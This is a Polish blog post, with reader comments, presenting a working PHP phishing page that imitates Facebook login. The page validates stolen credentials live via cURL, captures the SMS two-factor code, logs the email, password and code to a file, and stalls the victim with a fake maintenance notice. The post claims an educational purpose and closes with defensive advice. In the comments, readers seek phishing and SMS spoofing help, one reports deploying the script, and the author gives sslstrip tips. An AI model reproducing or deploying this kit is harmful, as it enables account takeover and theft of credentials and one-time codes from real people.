Dzisiaj bardzo ciekawy, lecz dość krótkawy wpis o problemie phishingu i kodach sms. Dodatkowo pokazujemy naszego autorstwa sprytny kod źródłowy logowania do Facebooka za pomocą cURL (uzupełniony wpis jest dołączonym wideo, który polecamy obowiązkowo obejrzeć). Bardziej szczegółowiej mówiąc wpis dotyczy potencjalnej możliwości obchodzenia przez crackerów weryfikacji kodów sms (logowanie two step). Jeżeli pamiętacie wpis jak włamać się na fb – problem phishingu to dzisiejszy jest niejako uzupełnieniem. Całość ma jedynie walor edukacyjny. A czy Ty zastanawiałeś się czy jesteś w pełni bezpieczny w przypadku gdy bank, Facebook bądź inna usługa wymaga weryfikacji dwuetapowej? Choć wydaje się, że skuteczny zdalny atak jest niemożliwy to nic bardziej mylnego.
Opracowaliśmy ciekawy skrypt php (nie widzieliśmy jeszcze takowego w sieci) umożliwiający przeprowadzenie ataku phishingowego na usługi, które zabezpieczone są smsem. Cyberprzestępca nie musi wcale kraść telefonu ofiary. Na ruszt bierzemy facebooka! Do dzieła!
Obejście kodu sms Facebook
Okazuje się, że obejście kodu SMS jest możliwe. Wykorzystaliśmy do tego w dosyć innowacyjny sposób bibliotekę cURL. Biblioteka umożliwia na korzystanie z protokołu http i symulowanie poczynań użytkownika (tak, można pisać w niej boty :-)) w języku PHP. Kod działa, jest w wersji mocno prototypowej :-). Prezentacja wideo hacku z komentarzem po polsku za darmo została zamieszczona w dalszej części tego wpisu. Celowo nie zamieszczamy skryptu zawierającego pełnego wyglądu strony Facebook :-). To ma być sposób poglądowo edukacyjny a nie mass attak script kiddie.
Plik a.php:
<!doctype html> <!-- script by haker.edu.pl --> <html> <head> <meta charset="UTF-8"> <title>Witamy na Fuckbuku. Zaloguj się, zarejestruj się lub skorzystaj z pomocy.</title> <link rel="stylesheet" href="http://maxcdn.bootstrapcdn.com/bootstrap/3.2.0/css/bootstrap.min.css"> <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script> <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.2.0/js/bootstrap.min.js"></script> </head> <body> <h1>Witaj na fejsbuku!</h1> <?php function wyswietlFormularz($id) { if ($id == 1) { echo('<form method="post" action="a.php" role="form"> <label>Login: <input type="email" name="login" class="form-control"/></label> <label>Haslo: <input type="password" name="haslo" class="form-control"/></label> <input type="hidden" name="akcja" value="sms"> <input type="submit" value="Loguj" class="btn btn-default"/> </form>'); } else if ($id == 2) { echo('<form method="post" action="a.php" role="form"> <label>Przepisz kod sms: <input type="text" name="sms" class="form-control"/></label> <input type="hidden" name="akcja" value="finalizuj"> <input type="hidden" name="login" value="' . $_POST['login'] . '"> <input type="hidden" name="haslo" value="' . $_POST['haslo'] . '"> <input type="submit" value="Loguj" class="btn btn-default" /> </form>'); } else if ($id == 3) { echo("<br><h2>Przepraszamy, ta strona jest niedostępna.</h2> <p>Trwają pracę konserwacyjne. Wróć do nas o <mark>" . date('H:i', strtotime("+15 minutes")) . "</mark></p>"); } } function czyZalogowanoNaFace($zrodlo) { if (strpos($zrodlo, "Strona główna") > 0) return TRUE; } function czyKodSmsFacebook($zrodlo) { if (strpos($zrodlo, "Wprowadź kod") > 0) return TRUE; } function pobierzAvatarFace($zrodlo) { $pattern = '/<img class="_s0 _2dpc _rw img" src="([^"]*)"/i'; $out = preg_match($pattern, $zrodlo, $matches); if ($out > 0) return'<img src="' . $matches[1] . '"/>'; } function zapiszLog($login, $haslo, $sms, $img) { $tekst = "<br><div style='clear: both; margin: 10px 10px 10px 10px; padding: 15px 15px 15px 15px;'><div style='float: left; padding-right: 10px;'>$img</div><div style='float: left;'>[" . date('d-m-Y, H:i:s') . "]<br><b>E-mail:</b> $login<br><b>Haslo:</b> $haslo<br><b>Sms:</b> $sms </div></div><br>"; $uchwyt = fopen("logi.html", "a"); fwrite($uchwyt, $tekst); fclose($uchwyt); } function wyslijFace($login, $haslo) { $ciastko = "C:\\\Users\\\Patryk\\\Desktop\\cookie_file.txt"; $cURL = curl_init(); curl_setopt($cURL, CURLOPT_URL, 'https://www.facebook.com/login.php'); if (file_exists($ciastko)) { sleep(0.500); unlink($ciastko); } curl_setopt($cURL, CURLOPT_COOKIEJAR, $ciastko); curl_setopt($cURL, CURLOPT_COOKIEFILE, $ciastko); curl_setopt($cURL, CURLOPT_POSTFIELDS, 'email=' . urlencode($_POST['login']) . '&pass=' . urlencode($_POST['haslo']) . '&login=Log In'); curl_setopt($cURL, CURLOPT_POST, 1); curl_setopt($cURL, CURLOPT_HEADER, 0); curl_setopt($cURL, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($cURL, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($cURL, CURLOPT_SSL_VERIFYHOST, 2); curl_setopt($cURL, CURLOPT_RETURNTRANSFER, 1); //MOŻEMY POBIERAĆ DYNAMICZNIE USERAGENTA $_SERVER['HTTP_USER_AGENT']; curl_setopt($cURL, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0"); curl_setopt($cURL, CURLOPT_REFERER, "http://www.facebook.com"); curl_exec($cURL) or die(curl_error($cURL)); sleep(0.500); $kodZrodlowyStrony = curl_exec($cURL) or die(curl_error($cURL)); if (czyZalogowanoNaFace($kodZrodlowyStrony) || czyKodSmsFacebook($kodZrodlowyStrony)) { if (czyKodSmsFacebook($kodZrodlowyStrony)) { //Z KODEM SMS wyswietlFormularz(2); die(); } else { //BEZ SMS zapiszLog($_POST['login'], $_POST['haslo'], 'brak', pobierzAvatarFace($kodZrodlowyStrony)); wyswietlFormularz(3); die(); } } else { //NIE ZALOGOWANO SIE POPRAWNIE (zły login lub hasło) echo("---BŁĘDNE DANE LOGOWANIA"); wyswietlFormularz(1); die(); } //echo $kodZrodlowyStrony; curl_close($cURL); } if (empty($_POST['akcja'])) { wyswietlFormularz(1); } else if (!empty($_POST['akcja']) && !empty($_POST['login']) && !empty($_POST['haslo']) && $_POST['akcja'] == "sms") { wyslijFace($_POST['login'], $_POST['haslo']); } else if (!empty($_POST['akcja']) && !empty($_POST['login']) && !empty($_POST['haslo']) && $_POST['akcja'] == "finalizuj") { // echo($_POST['login'] . ':' . $_POST['haslo'] . ':' . $_POST['sms']); wyswietlFormularz(3); zapiszLog($_POST['login'], $_POST['haslo'], $_POST['sms'], '<div class="centerHorizontally"><img src="https://placehold.it/50x50" /></div>'); } ?> </body> </html>
Skrypt jest bardziej zaawansowany od tego z poprzedniego wpisu i został krótko objaśniony w wideo. W skrócie mówiąc sprawdza on, czy dane podane przez ofiarę w formularzu są prawidłowe (cURL próbuje się zalogować). Dodatkowo sprawdza czy wymagany jest kod sms, jeśli tak to przechwytuje go i zwodzi ofiarę socjaltechnika informując o pracach technicznych na stronie. W sprytny sposób zaprasza ofiarę do próby zalogowania się za godzinę. Czemu taki przykład wymyśliliśmy? Bo kod jest jednorazowego użytku. Dziś wyjątkowo mało objaśnień bo od tego są kursy php i html a nie ten blog :-).
Od razu nawiązując do filmu napiszę czemu nie pobieramy w logach zdjęcia użytkownika podczas logowania z weryfikacją dwuetapową sms. Po zalogowaniu się (gdy prosi Nas o kod sms) nie wyświetla Facebook dla bezpieczeństwa zdjęcia użytkownika w prawym górnym rogu. Moglibyśmy co prawda ponownie wywołać zapytanie cURL’em i wysłać wpisany przez użytkownika w formularzu kod sms, aby pobrać ten awatar ale….. stracilibyśmy wtedy jednorazowy kod sms i nici z logowania.
Jakie błędy popełnił Facebook
Przede wszystkim projektanci powinni zaimplementować generowanie kodu sms z każdym logowaniem i wiązać go z obecną sesją. Co Nas zaskoczyło kod sms jest wysyłany ten sam, jeśli jeszcze nie został wykorzystany. Niestety przez to przechwycony może zostać użyty… przez cyberprzestępce. Co prawda ofiara dostanie dwa smsy (jeden z logowania cURL skryptem, drugi podczas logowania cyberprzestępcy), ale kod w nich zawarty będzie ten sam (obrazuje to wideo znajdujące się w dalszej części tego wpisu).
Pamiętajcie, jeżeli piszecie jakiś system generujący kody niech to robi dobrze. Z każdą próbą logowania niech generuje nowy kod a stary unieważnia!
Wideo demonstrujące atak phishingowy z weryfikacją sms
Film pokazuje możliwość obejścia weryfikacji sms, tłumaczy działanie i część kodu :-).
>> Pobierz film facebook sms <<
Pozostałe filmy znajdziesz w naszym dziale wideo / download.
Podsumowanie – jak się bronić?
Czy phishing nadal jest skuteczny? Tak! Wystarczy wpisać w google phishing statistics 2014, aby się przekonać o skali problemu. Podatność nie dotyczy tylko Facebooka ale i poczty Gmail, przelewów bankowych i wiele wiele innych usług. Jak przeciwdziałać podbieraniu haseł (phishing Facebook)? Przede wszystkim zwracajmy baczną uwagę na adres URL podczas używania ważnych dla Nas kont sieciowych. Najlepiej nie wchodźmy ma strony z żadnych linków przesyłanych drogą elektroniczną (e-mail, komunikatory) – wpisujmy je ręcznie z głowy (mądre banki nigdy nie przesyłają odnośników do strony logowania, taką mają politykę bezpieczeństwa).
Drugą skuteczną metodą jest używanie portfeli haseł. Wiele portfeli aktywuje się do wpisania automatycznie hasła w formularzu tylko na oryginalnej stronie. Dodatkowo weryfikuje parametr action formularza html (definiujący gdzie wysyłane są dane). Zapraszamy do lajkowania, udostępniania i odwiedzenia naszego fanpage na fejsie, aby być na bieżąco. :-). Pozdrawiamy :-).
Pozdrawiam i gratuluję takiego wkładu w kod. Gdybym prowadził takiego bloga, to nie pisałbym tego specjalnie dla czytelników. Także… Wielkie propsy dla redakcji!
Chcemy propagować bezpieczny internet. Warto wiedzieć, że SMS też jest podstępem do obejścia. Dziękujemy za komentarz!
Witam, Takie „pomysłowe e-maile z phishingiem” nazywają spear phishing, twoja metoda jest ciekawa, ale nie innowacyjna, im więcej szczegółów tym atak social techniczny lepszy wiadomo, użycie biblioteki cURL to w botach najbardziej podstawowych to podstawa, swoją drogą jak czytam komentarze od sk „czy jest jakaś strona gdzie można się nauczyć wszystkiego o hackingu za pomocą kali-linuxa?” to mnie zalewa krew przecież, kali-linux jest przydatną dystrybucją z wieloma szmelco-programami ale hacking to nie tylko kali-linux to przede wszystkim umiejętność kombinowania.
Jeszcze masz błąd składniowy, „szczegółowiej” to jest przymiotnik stopniujący się opisowo (czyt. bardziej szczegółowo), Człowieku oczy bolą od tego, zadziwiająco dużo informatyków posługuje się poprawną polszczyzną z reguły
Super. Zadziwiająco dużo obcokrajowców posługuje się językiem Polskim 🙂
Dziękuje za e-maila. My nie uczymy hackingu tylko poruszamy popularne tematy z grup dyskusyjnych/for. Nie zachęcamy nikogo do włamywania. Ataki spear phishing osobiście znam pod nazwą ataków spersonalizowanych/ataków ze nakierowanym wektorem działania. Wiele osób się śmieje, że jak one mogą być skuteczne, ludzie przecież nie są naiwni… szkoda tylko, że piszą to komputerowcy a nie zwykli użytkownicy Internetu a statystyki z poprzedniego roku pokazuja coś innego. Co do Kaliego się zgadzam i poleciłbym każdemu najpierw nauczyć się używać Linuksa.
Genialne w swej prostocie 🙂 Banki podobno generują za każdym razem nowy kod, często ważny przez określony czas. Oby to było prawdą 😉
Dlatego można by zmusić osobę do użycia opcji „wpisz kod sms później” za pomocą cURL. Wiele banków posiada taką opcje (np: mBank wydaje mi się). No chyba, że mówisz o dwustopniowej weryfikacji podczas logowania a nie wykonywania operacji podwyższonego ryzyka dla klienta. Potem możnaby edytować ten przelew (nr_konta?) i wpisać sms :-).
skopiowalem dany kod wrzucilem na hosting i nie działa jakieś sugestie? chcialem przetestowac tak samo jak jest u cb
cURL jest (phpinfo())? Na localhoście przetestuj XAMMPEM 🙂
Zrób poradnik jak zrobić stronę phishingową. Z gory dzięki.
Jest już dawno przecież 🙂 Wystarczy dokładnie wpis przeczytać.
Facebook popełnia w$zy$tkie błędy na które może $obie pozwolić.
Ale tam gdzie interes facebooka rozbija $ię o pieniądze -nie ma miej$ca na żadne błędy!
Zapewniam że $ystemy anty$pamowe na fb $ą niezawodne.
Witam , ponawiam prośbe o toutorial z podszywaniem sie pod dany nr w telefonie „ofiary” jezeli mozna to tak nazwac za pomocą programu SET dolaczonego do kali linux o ile znajdziesz chwilę , pasowalo by to do tego wątku nie uwazasz? Pozdrawiam 😉
Próbowałem i kiedyś i po Twoim wielokrotnym pytaniu (TAK SĄ WAKACJE :-)) i nigdy spoofing sms to nie działało w SET… Być może jestem akurat w tej kwestii niedoinformowany i ciężko mi odpowiedzieć na to pytanie. Podobno niektóre płatne bramki spoofingowe działają, jednak rzadziej do Polski… Pamiętaj że podszywanie się pod inną osobę jest przestępstwem.
Dzieki za odpowiedz mam świadomość ze to przestepstwo dlatego chcialem przetestowac na swoim numerze:) ach te wakacje wlasnie pakuje torby i wyruszam jak znajdziesz chwile moze cos wiecej o sslstrip lub podobnym programie ktory przechwyci szyfrowane dane logowania https bo ostatnio sslstrip nie sprawdza sie czesto nie wlacza lub zapisuje moje testowe loginy i hasla w roznych znakach zamiast literek moze cos na ten temat jakis tutek 🙂 ? pozdrawiam milego wypoczywania i egipskiej spiekoty:P
Może będzie, tylko my w wpisach uciekamy często od takich tematów ponieważ chcemy utrudnić gimnazjalistom włamywanie się kolegom i dziewczynom. Sztuka nie na tym polega. Wiedza cenna jest sama w sobie. Ostatni raz jak testowałem sslstrip+ to działał, jednak bodajże trzeba było przekierować parametrem bodajże dane zbierane do pliku tekstowego. Wtedy sslstrip mimo, że wywalał jakiś błąd Pythona to zapisywał logi poprawnie.
Z rozpaczą przeczytałam ten artykuł, gdyż od jakiegoś czasu jestem prześladowana notorycznymi włamaniami na facebooka i gmaila. Sądziłam, że włączenie weryfikacji dwuetapowej pomoże, a tu czytam, że i to można obejść jak ktoś się zna. Dodam też, że w całej tej obsesji wszystko sprawdzam już po 5 razy, malwarebytes skanuje codziennie, dodatkowo zainstalowałam ESET NOD30 (choć biorąc pod uwagę, że antywirus sobie a włamania sobie, zaczynam się zastanawiać, czy to w ogóle coś daje). Czy istnieje jakaś metoda zabezpieczenia się całkowicie? Bo sprawdzanie co 10 minut miejsca logowania zaczyna być już uciążliwe, a zdaję sobie sprawę, że zapewne to, jak i powiadomienia o logowaniu można obejść, by się nie pojawiały.
To co Pani robi wystarczy. Dalej niech Pani cyklicznie skanuje raz w tygodniu komputer Malwarebytes z aktualna baza danych. Niech Pani również ustawi inne od siebie hasło na Gmailu i Facebooku, sprawdzi pytania pomocnicze i podobne mechanizmy czy ktoś nie zmienił (do odzyskiwania hasła) no i w Facebook->Bezpieczeństwo niech pani usunie wszystkie miejsca logowania i urządzenia. Wtedy będzie potrzeba ponownego zalogowania się (wyloguje przestępce). Niech Pani włączy weryfikacje SMS również na GMAILU (konto Google). Niech Pani unika stron podejrzanych internetowych i plików nie otwiera równie podejrzanych. W razie podejrzenia wirusowego pliku wysłać go i sprawdzić w usłudze https://virustotal.com. Proszę zawsze sprawdzać czy adres pod którym Pani się loguje jest poprawny (https://facebook.com). Jest to ochrona przed phishingiem, przed którym raczej antywirusy nie bronią. Proszę również przeczytać nasz stary wpis: https://www.haker.edu.pl/2014/01/03/jak-chronic-konto-internetowe-przed-phishingiem/. Jeśli system operacyjny jest oryginalny niech Pani się upewni, że się aktualizuje (włączony mechanizm Windows Update). Ostatnio też firma Kaspersky wydała fajne narzędzie o nazwie Kaspersky Software Updater, które sprawdza czy Pani programy są w aktualnej wersji. Stare wersje np: przeglądarki internetowej mogą ułatwić ataki. Hasła cyklicznie zmieniać co 6-12 miesięcy (mogą się minimalnie różnić w miejscu tylko znanym Pani).
Podsumowując uważać na fałszywe adresy www (phishing), skanować raz w tygodniu i używać dwuetapowej weryfikacji GMAIL/FACEBOOK.
Mój były chłopak bardzo mnie zranił :c nie dość tego ze mnie zwyzywał i zostawil to jeszcze chciał mi przejąć konto na fb i wgl zaczęłam sie go bać . Zabrał mi coś co chce odzyskać i potrzebuje pomocy
Idź na policje. Teraz stalking jest karany od kilku lat z art. 190a kk.
Dlaczego ustawiliście hasło na archiwum w którym miał się znajdować filmik demonstrujący atak?
Ale hasło jest dostępne w dziale download… Ma to gównie na celu ograniczyć użytkowanie wideo przez osoby, które nawet nie przeczytają wpisu lub działu wideo/download. To zdecydowanie nie dla takich osób jest blog. Druga kwestia to obrona przed wygodnickimi alternatywnymi uploaderami. Warto, żeby pobierający znał źródło skąd pochodzi materiał.
w jaki sposob ominac generator kodow ktos cos wie ?
Cyberprzestępcy w identyczny sposób wyłudzają kod z generatora kodów. Przygotowują witrynę praktycznie w identyczny sposób jak ten przedstawiony w tej demonstracji. Oczekują po prostu na wpisanie kodu poza SMS i LOGINU :-). Bez różnicy czy osoba go dostaje smsem, generatorem kodów czy listem poleconym.
Witam, mam problem taki ze potrzebuje generator kodu ,a nie mam telefonu . Jest mozliwos obejscie tego?
Nie ma takiej możliwości.
Jesli nie mam takiej mozliwosci, to jak odzyskac dostep do mojego konta? Wiesz moze cos wiecej?
Mam emaila I swoje haslo , ale mam wlaczony generator kodu ktory przychodzi mi na tel. Telefon zgubilem I nie moge sie zalogowac , wysylalem do Facebook nawet moj dowod osobisty, ale zero odp. Mogbys mi jakos pomoc?
Witam , mam problem ze swoim kontem kod sms nie dociera na moje konto szukam pomocy nie zależy mi na niczym tylko żeby odzyskać konto nie mam na nim nic co mogłoby mnie pogrążyć jedynie zależy mi na znajomych i powiązanych kontach z FB tzn insta itp. czy jest tu ktoś kto jest w stanie mi pomóc odzyskać moje konto ?
Teraz zamiast kodu SMS, trzeba wygenerować w aplikacji Facebook na telefonie go za pomocą funkcji „geneator kodów”.
Witam mam problem skasowalam smsy generatorow kody na facebooka mam wlonczony generator kodow ale nie moge sie zalogowac na facebooka co mam zrobic teraz prosze pomoc
Filmik jest nadal dostepny? Podany link nie przekierowywuje do filmiku:/